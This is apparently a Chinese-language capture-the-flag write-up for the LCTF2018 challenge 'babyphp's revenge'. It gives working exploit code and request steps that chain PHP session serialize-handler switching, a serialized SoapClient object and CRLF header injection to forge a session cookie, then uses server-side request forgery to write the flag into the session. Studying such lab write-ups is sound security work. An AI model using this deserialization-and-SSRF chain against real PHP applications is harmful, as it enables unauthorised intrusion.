babyphp's revenge
information collection
index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
array(0) { }
扫一下目录发现flag.php,然鹅并没有发现怎么知道如下源码的。。(看样子是hint)
flag.php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
solution
1.由第一个call_user_func
后面的post变量,猜测可以用到变量覆盖
2.由index.php可知session[name]可控
3.由flag.php可知,要把flag写进session,就需要本地访问,可以想到ssrf。
一开始跟小伙伴们一起复现这道题,死活写不进flag,调试了一下午,发现要么就是php引擎变量覆盖不了,要么就是soap拓展没装好~缺一不可~
变量覆盖
php的session序列化引擎有3个
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 like:name:6:"KarmA";
php(默认):存储方式是,键名+竖线+经过serialize()函数序列处理的值 like:name|s:6:"KarmA";
* php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值 like:a:1:{s:4:"name";s:6:"KarmA";}
正常情况下如果需要修改为其他引擎,需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');
但是,从php7开始可以通过参数来设置,所以这道题需要通过post来改变引擎session.serialize_handler=php_serialize
。
SoapClient
public __call ( string $function_name , array $arguments ) : mixed
public __construct ( mixed $wsdl [, array $options ] )
利用这个类的__call
方法,我们可以进行ssrf,因为当soapclient()
第一个参数为null
时是非wsdl模式
,意味着会对第二个参数进行http请求。
CRLF
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
CRLF配合SoapClient,我们可以伪造cookie,在ssrf时带上我们的cookie,不然,flag是无法写入我们的session里面的。
~/Downloads nc -l 6666
POST / HTTP/1.1
Host: localhost:6666
Connection: Keep-Alive
User-Agent: KarmA
Cookie: PHPSESSID=KarmA
Content-Type: text/xml; charset=utf-8
SOAPAction: "demo#ff"
Content-Length: 366
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="demo" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:ff/></SOAP-ENV:Body></SOAP-ENV:Envelope>
exploit
本地构造php引擎序列化数据
<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "AAA:BBB\r\n" .
"Cookie:PHPSESSID=KarmA",
'uri' => "http://127.0.0.1/"));
$se = serialize($b);
echo urlencode($se);
第一次post请求
GET
-> f=session_start&name=|
+ seralize data
POST
-> serialize_handler=php_serialize
第二次post请求
GET
-> f=extract&name=随意
POST
-> b=call_user_func
再次刷新一下页面,就会发现flag已经写入session中了。
Conclusion
反序列化结合ssrf,这道题的思路让人大开眼界~还学会了不少骚操作~
mochazz师傅这张题解思路图简洁明了。